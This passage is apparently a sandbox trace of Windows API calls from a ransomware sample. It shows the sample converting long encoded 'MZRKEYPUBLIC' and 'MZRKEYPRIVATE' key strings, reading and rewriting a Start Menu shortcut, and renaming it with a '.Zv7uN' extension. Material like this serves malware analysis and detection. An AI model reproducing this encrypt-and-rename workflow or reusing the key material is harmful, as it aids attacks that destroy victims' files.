w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0131.789] GetCurrentThreadId () returned 0xa30 [0131.789] GetCurrentThreadId () returned 0xa30 [0131.789] GetCurrentThreadId () returned 0xa30 [0131.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.790] GetCurrentThreadId () returned 0xa30 [0131.790] GetCurrentThreadId () returned 0xa30 [0131.790] GetCurrentThreadId () returned 0xa30 [0131.790] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.790] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0131.790] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.790] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x62b [0131.790] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0131.791] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x62b, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0x62b, lpOverlapped=0x0) returned 1 [0131.793] CloseHandle (hObject=0x1e8) returned 1 [0131.793] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0131.796] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x62b, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0x62b, lpOverlapped=0x0) returned 1 [0131.798] CloseHandle (hObject=0x1e8) returned 1 [0131.798] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk.zv7un")) returned 1 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] GetCurrentThreadId () returned 0xa30 [0131.800] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0131.800] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Wordpad.lnk", cAlternateFileName="")) returned 1 [0131.800] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0131.801] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.801] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d2cde19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0131.801] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk")) returned 0x20 [0131.802] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk", dwFileAttributes=0x80) returned 1 [0131.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.806] GetCurrentThreadId () returned 0xa30 [0131.806] GetCurrentThreadId () returned 0xa30 [0131.806] GetCurrentThreadId () returned 0xa30 [0131.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.806] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 